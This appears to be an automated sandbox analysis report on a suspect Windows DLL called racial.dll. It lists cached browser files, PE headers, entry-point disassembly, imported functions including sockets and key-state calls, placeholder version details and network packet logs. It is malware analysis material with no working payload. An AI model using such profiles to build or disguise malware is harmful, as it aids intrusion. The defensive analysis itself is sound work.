SSDEEP:	384:R7AGcVXlblcqnzleZSweg2f5ngB/LkPF3OZOyQWwY4RXrqt:F86qhbS2RxF3OsyQWwY4RXrqt
MD5:	3723567BA10CD7D40559BFA7B1E1228A
SHA1:	FC9ADA3298BA47DC5BDA9334756C76CBB785C02C
SHA-256:	803A03EC64D08C78CFF4E829177D7B175FA5509D5E571FA14B33496249C3AFA7
SHA-512:	7878C552398289F7BBFFC7C5121C2CFCC62C24080DDDB42A9133943F55E8C7D6BDE787F0E1383D12469BA2DFD2F604861078180BFF09070B540E36CC755DE848
Malicious:	false
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0}},"hasSameSiteSupport":"0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"log":{"successLper":10,"failLper":10,"logUrl":{"cl":"https:\/\/hblg.media.net\/log?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\/\/c21lg-d.m

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\checksync[2].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	21264
Entropy (8bit):	5.302916912228596
Encrypted:	false
SSDEEP:	384:R7AGcVXlblcqnzleZSweg2f5ngB/LkPF3OZOyQWwY4RXrqt:F86qhbS2RxF3OsyQWwY4RXrqt
MD5:	3723567BA10CD7D40559BFA7B1E1228A
SHA1:	FC9ADA3298BA47DC5BDA9334756C76CBB785C02C
SHA-256:	803A03EC64D08C78CFF4E829177D7B175FA5509D5E571FA14B33496249C3AFA7
SHA-512:	7878C552398289F7BBFFC7C5121C2CFCC62C24080DDDB42A9133943F55E8C7D6BDE787F0E1383D12469BA2DFD2F604861078180BFF09070B540E36CC755DE848
Malicious:	false
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0}},"hasSameSiteSupport":"0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"log":{"successLper":10,"failLper":10,"logUrl":{"cl":"https:\/\/hblg.media.net\/log?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\/\/c21lg-d.m

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\location[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	182
Entropy (8bit):	4.685293041881485
Encrypted:	false
SSDEEP:	3:LUfGC48HlHJ2R4OE9HQnpK9fQ8I5CMnRMRU8x4RiiP22/90+apWyRHfHO:nCf4R5ElWpKWjvRMmhLP2saVO
MD5:	C4F67A4EFC37372559CD375AA74454A3
SHA1:	2B7303240D7CBEF2B7B9F3D22D306CC04CBFBE56
SHA-256:	C72856B40493B0C4A9FC25F80A10DFBF268B23B30A07D18AF4783017F54165DE
SHA-512:	1EE4D2C1ED8044128DCDCDB97DC8680886AD0EC06C856F2449B67A6B0B9D7DE0A5EA2BBA54EB405AB129DD0247E605B68DC11CEB6A074E6CF088A73948AF2481
Malicious:	false
IE Cache URL:	https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location
Preview:	jsonFeed({"country":"CH","state":"ZH","stateName":"Zurich","zipcode":"8152","timezone":"Europe/Zurich","latitude":"47.43000","longitude":"8.57180","city":"Zurich","continent":"EU"});

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\medianet[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	395357
Entropy (8bit):	5.485834981653296
Encrypted:	false
SSDEEP:	6144:z9s9T0O9ISvbnDnmWynGoHqvgz5MCu1b+aOHsU91I7:8ISvTDmnGSqvgKxVaF1I7
MD5:	958C7062B7E830B7EDF79F4CCF8B0BDB
SHA1:	213F589F9331A8ED3DC0F7150DA1ECA177C1AA2D
SHA-256:	D16C9B3EF9A0779E89CE4B226C1F521E80B437EF8721D5D306EBF4BC63AE2329
SHA-512:	601AC171046BA500EFCD697CCADF8C437E128CB1F1C0ABF7D529C0A501D33E55BB7F3FE361FE7CFA7EB2B58C18B99033FFB149926D44379E39FB7CD8889B52CB
Malicious:	false
IE Cache URL:	https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Preview:	<html>.<head></head>.<body style="margin: 0px; padding: 0px; background-color: transparent;">.<script language="javascript" type="text/javascript">window.mnjs=window.mnjs\|\|{},window.mnjs.ERP=window.mnjs.ERP\|\|function(){"use strict";for(var l="",s="",c="",f={},u=encodeURIComponent(navigator.userAgent),g=[],e=0;e<3;e++)g[e]=[];function d(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(a=0;a<3;a++)e+=g[a].length;if(0!==e){for(var n,r=new Image,o=f.lurl\|\|"https://lg3-a.akamaihd.net/nerrping.php",t="",i=0,a=2;0<=a;a--){for(e=g[a].length,0;0<e;){if(n=1===a?g[a][0]:{logLevel:g[a][0].logLevel,errorVal:{name:g[a][0].errorVal.name,type:l,svr:s,servname:c,errId:g[a][0].errId,message:g[a][0].errorVal.message,line:g[a][0].errorVal.lineNumber,description:g[a][0].errorVal.description,stack:g[a][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON\|\|"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTED":JSON.stringify(n)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\medianet[2].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	395356
Entropy (8bit):	5.485856952725781
Encrypted:	false
SSDEEP:	6144:z9s9T0O9ISvbnDnmWynGoHqvgz5MCu1bCaOHsU91I7:8ISvTDmnGSqvgKxVeF1I7
MD5:	70A48021586C0E6E1D90907182CF939B
SHA1:	17819B02606F572A02DC74E0BEF3DF7EAC90D729
SHA-256:	C5237BC2041E68862575357905807C234A3E32725D83BC9BD6EB8357C4AB9BE2
SHA-512:	429B3B52557E970B989C7E887231724732E51EF6E70654D27340CEE02279F72967C591AA83E631AA1399C3B59D4A8B832D53DAF5E4CDDC3D0329057696690A4A
Malicious:	false
IE Cache URL:	https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Preview:	<html>.<head></head>.<body style="margin: 0px; padding: 0px; background-color: transparent;">.<script language="javascript" type="text/javascript">window.mnjs=window.mnjs\|\|{},window.mnjs.ERP=window.mnjs.ERP\|\|function(){"use strict";for(var l="",s="",c="",f={},u=encodeURIComponent(navigator.userAgent),g=[],e=0;e<3;e++)g[e]=[];function d(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(a=0;a<3;a++)e+=g[a].length;if(0!==e){for(var n,r=new Image,o=f.lurl\|\|"https://lg3-a.akamaihd.net/nerrping.php",t="",i=0,a=2;0<=a;a--){for(e=g[a].length,0;0<e;){if(n=1===a?g[a][0]:{logLevel:g[a][0].logLevel,errorVal:{name:g[a][0].errorVal.name,type:l,svr:s,servname:c,errId:g[a][0].errId,message:g[a][0].errorVal.message,line:g[a][0].errorVal.lineNumber,description:g[a][0].errorVal.description,stack:g[a][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON\|\|"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTED":JSON.stringify(n)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\otBannerSdk[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	374818
Entropy (8bit):	5.338137698375348
Encrypted:	false
SSDEEP:	3072:axBt4stoUf3MiPnDxOFvxYyTcwY+OiHeNUQW2SzDZTpl1L:NUfbPnDxOFvxYyY+Oi+yQW2CDZTn1L
MD5:	2E5F92E8C8983AA13AA99F443965BB7D
SHA1:	D80209C734F458ABA811737C49E0A1EAF75F9BCA
SHA-256:	11D9CC951D602A168BD260809B0FA200D645409B6250BD8E8996882EBE3F5A9D
SHA-512:	A699BEC040B1089286F9F258343E012EC2466877CC3C9D3DFEF9D00591C88F976B44D9795E243C7804B62FDC431267E1117C2D42D4B73B7E879AEFB1256C644B
Malicious:	false
IE Cache URL:	https://www.msn.com/_h/9c38ab9f/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/otBannerSdk.js
Preview:	/** .. * onetrust-banner-sdk.. * v6.13.0.. * by OneTrust LLC.. * Copyright 2021 .. */..!function(){"use strict";var o=function(e,t){return(o=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var o in t)t.hasOwnProperty(o)&&(e[o]=t[o])})(e,t)};var r=function(){return(r=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function a(s,i,l,a){return new(l=l\|\|Promise)(function(e,t){function o(e){try{r(a.next(e))}catch(e){t(e)}}function n(e){try{r(a.throw(e))}catch(e){t(e)}}function r(t){t.done?e(t.value):new l(function(e){e(t.value)}).then(o,n)}r((a=a.apply(s,i\|\|[])).next())})}function d(o,n){var r,s,i,e,l={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return e={next:t(0),throw:t(1),return:t(2)},"function"==typeof Symbol&&(e[Symbol.iterator]=function(){return this}),e;function t(t

C:\Users\user\AppData\Local\Temp\~DF4ADF6EE3AE6B690C.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	29745
Entropy (8bit):	0.4276786817479803
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lRx/9lRJ9lTb9lTb9lSSU9lSSU9laAa/9laAggg/hXMoFE:kBqoxxJhHWSVSEabg/hXMoc/cgMVQ2y
MD5:	03B3003DA645E60562AF9332B1B18348
SHA1:	7A28BD73DCF475CDD9A52AEEC35B4A5DD125F4B1
SHA-256:	6F3D182408CEDD9327D4435AA5930DBF3597834C34773C53BF2D841FA42EBF84
SHA-512:	8CE02C1C3DBE323C6BFCDC626A7277BC9E92BFF9114C4A166507FF0B3D5CFBB169DFD12D93526706527F4D6DBDAF6AC08769E5DDB5D78D494CE98423F221DE54
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF7209158F6E36A060.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13077
Entropy (8bit):	0.5054821495073817
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9loh+9lohu9lWhF/A8CPCcc/A8ZjUA/A/c/n:kBqoIhZhvhBvCPCcc/vZjUA/A/c/n
MD5:	374B0E3D1A9428447031B856AA41C0A4
SHA1:	850F29213D886D6D5AB9CA981B804EA61DAF9FF3
SHA-256:	756B445B36F98BB8264E227AD26A13EB2D12C304A1488F3437451EDFB30C7F65
SHA-512:	9846E646F3EAA6082AED000532C85B6EF961386867A870193A06908AEAAB8793D25448E843FB702D1FC2C4F8FBC28F904A4C65805438863715E35C2534721E74
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF7DF577F1B6BE0BA5.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	361402
Entropy (8bit):	3.2978452900118733
Encrypted:	false
SSDEEP:	3072:0Z/2Bfcdmu5kgTzGtgZ/2Bfc+mu5kgTzGtsZ/2Bfcdmu5kgTzGthZ/2Bfc+mu5kn:NTGG
MD5:	02F8F06396C141DC954E3E5281C748A0
SHA1:	5D893AF952F88E971C3F4FC2C4C9AC3AE2C85568
SHA-256:	203641E5C9AD8FCFA2DFF86E51AC7DDFFDA767DD840B31A88510CC5EB6E3EC7A
SHA-512:	CD1D5DA00C2A2C2489A1C9112A0A26D5B52AA401ED22E59DC7845E9108B791A46A10AD2870100221AEC51975EFE6D48D8B71918F796D22D74B6287D76FB2CDD2
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.058062873932684
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	racial.dll
File size:	527872
MD5:	d592f2973e1bbd967ce0cc25602ca096
SHA1:	ae0073b6708ffbcb3bc0d0b250c67b43618d0102
SHA256:	84c2f9ffa40a22ea7082cf9fa91c69f5d5428d616f30f7d4266cb9d74d106245
SHA512:	eca3abc9d657f092878b95ad98df4f79001421e1dc4d11c754a20918b531a73644e28c110c11325f271f89973c3313e89467ff171a3805829dec4e695500a5ba
SSDEEP:	12288:Y43cTGrLptoCKEV76KDpMGPaISTcN9saAveqW6mZuzuJPjX7R75:vz75tzST8A2q8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........g.Q............W.M......~*.....(i......(i......(i......(i......W.V.........f...(i..#...(i......(iF.....(i......Rich...........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1047627
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x1000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x60AE9057 [Wed May 26 18:15:51 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3bfdfe7fdedde57f8d113c7e630bd750

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F7904CB2187h
call 00007F7904CB26A9h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F7904CB2033h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F7904CB198Bh
push 0107E6F8h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F7904CB2990h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F7904CAF800h
push 0107E62Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F7904CB2973h
int3
jmp 00007F7904CB78DDh
push ebp
mov ebp, esp
and dword ptr [0108C450h], 00000000h
sub esp, 24h
or dword ptr [0108009Ch], 01h
push 0000000Ah
call 00007F7904CC27C6h
test eax, eax
je 00007F7904CB232Fh
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]
push ebx
cpuid
mov esi, ebx
pop ebx
mov dword ptr [edi], eax
mov dword ptr [edi+04h], esi
mov dword ptr [edi+08h], ecx
xor ecx, ecx
mov dword ptr [edi+0Ch], edx
mov eax, dword ptr [ebp-24h]
mov edi, dword ptr [ebp-1Ch]
mov dword ptr [ebp-0Ch], eax
xor edi, 6C65746Eh
mov eax, dword ptr [ebp-18h]
xor eax, 49656E69h
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp-20h]
xor eax, 756E6547h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x7ee00	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7ee50	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8d000	0x3a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8e000	0x1764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x7dd7c	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x7ddd0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x59000	0x1c0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x57833	0x57a00	False	0.745441779601	data	6.55487145212	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x59000	0x267d0	0x26800	False	0.488661728896	data	4.12469698281	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x80000	0xce60	0xc00	False	0.194661458333	data	2.60418051096	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x8d000	0x3a8	0x400	False	0.3935546875	data	3.03585890057	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8e000	0x1764	0x1800	False	0.802734375	data	6.62284157941	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x8d060	0x344	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CreateFileA, SetConsoleCP, SetEndOfFile, DecodePointer, HeapReAlloc, HeapSize, GetStringTypeW, CreateFileW, GetConsoleCP, WriteFile, FlushFileBuffers, SetStdHandle, GetProcessHeap, GetCommandLineA, LCMapStringW, FreeEnvironmentStringsW, GetEnvironmentStringsW, WideCharToMultiByte, MultiByteToWideChar, GetCommandLineW, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, CreateSemaphoreA, GetLocalTime, GetSystemTimeAsFileTime, VirtualProtectEx, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, RaiseException, RtlUnwind, InterlockedFlushSList, GetLastError, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, ReadFile, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, HeapFree, HeapAlloc, CloseHandle, GetStdHandle, GetFileType, GetConsoleMode, ReadConsoleW, SetFilePointerEx, FindClose, WriteConsoleW
USER32.dll	GetMessagePos, SendMessageA, DefWindowProcA, GetClassInfoExA, CreateWindowExA, DestroyWindow, SetWindowPos, CheckRadioButton, CallNextHookEx, GetClassNameA, EnumWindows, FindWindowA, EnumChildWindows, GetWindowLongA, GetWindowTextA, ReleaseDC, GetDC, SetForegroundWindow, UpdateWindow, GetAsyncKeyState, IsClipboardFormatAvailable, SetClipboardData, SendDlgItemMessageA
WS2_32.dll	accept, bind, closesocket, connect, socket, gethostbyaddr, WSAStartup, WSACleanup
COMCTL32.dll	ImageList_DragMove, ImageList_DragEnter, ImageList_ReplaceIcon, ImageList_DragShowNolock

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x10441b0

Version Infos

Description	Data
LegalCopyright	Man electric Corporation. All rights reserved Secondreason
InternalName	Box silver
FileVersion	4.4.6.846
CompanyName	Man electric Corporation
ProductName	Man electric Name
ProductVersion	4.4.6.846
FileDescription	Man electric Name
OriginalFilename	Road.dll
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 3, 2021 18:03:00.405704021 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.405770063 CEST	49717	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.449069977 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.449100971 CEST	443	49717	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.449152946 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.449194908 CEST	49717	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.463552952 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.463665009 CEST	49717	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.506629944 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.506663084 CEST	443	49717	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.508603096 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.508635044 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.508694887 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.508733034 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.508999109 CEST	443	49717	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.509018898 CEST	443	49717	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.509071112 CEST	49717	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.509097099 CEST	49717	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.522305012 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.522592068 CEST	49717	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.522754908 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.523008108 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.523112059 CEST	49717	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.565337896 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.565454960 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.565468073 CEST	443	49717	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.565506935 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.565526009 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.565563917 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.565574884 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.565589905 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.565628052 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.565890074 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.565918922 CEST	443	49717	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.566083908 CEST	443	49717	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.566117048 CEST	443	49717	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.566150904 CEST	49717	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.566176891 CEST	49717	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.566395998 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.566886902 CEST	49717	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.580415964 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.580483913 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.580529928 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.580565929 CEST	49716	443	192.168.2.7	104.20.184.68
Jun 3, 2021 18:03:00.611560106 CEST	443	49717	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:00.652493954 CEST	443	49716	104.20.184.68	192.168.2.7
Jun 3, 2021 18:03:11.877675056 CEST	49728	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.877733946 CEST	49729	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.878278017 CEST	49730	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.914952040 CEST	49731	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.915571928 CEST	49732	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.923002958 CEST	443	49729	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.923032999 CEST	443	49728	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.923137903 CEST	49729	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.923166990 CEST	49728	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.923600912 CEST	443	49730	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.923685074 CEST	49730	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.924346924 CEST	49728	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.924516916 CEST	49729	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.924959898 CEST	49730	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.950525999 CEST	49733	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.962146997 CEST	443	49731	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.962294102 CEST	49731	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.962492943 CEST	443	49732	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.962593079 CEST	49732	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.963320017 CEST	49732	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.963795900 CEST	49731	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.969645023 CEST	443	49728	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.969722033 CEST	443	49729	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.970199108 CEST	443	49730	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.971072912 CEST	443	49729	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.971100092 CEST	443	49729	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.971132040 CEST	443	49729	151.101.1.44	192.168.2.7
Jun 3, 2021 18:03:11.971153021 CEST	49729	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.971203089 CEST	49729	443	192.168.2.7	151.101.1.44
Jun 3, 2021 18:03:11.971259117 CEST	443	49728	151.101.1.44	192.168.2.7
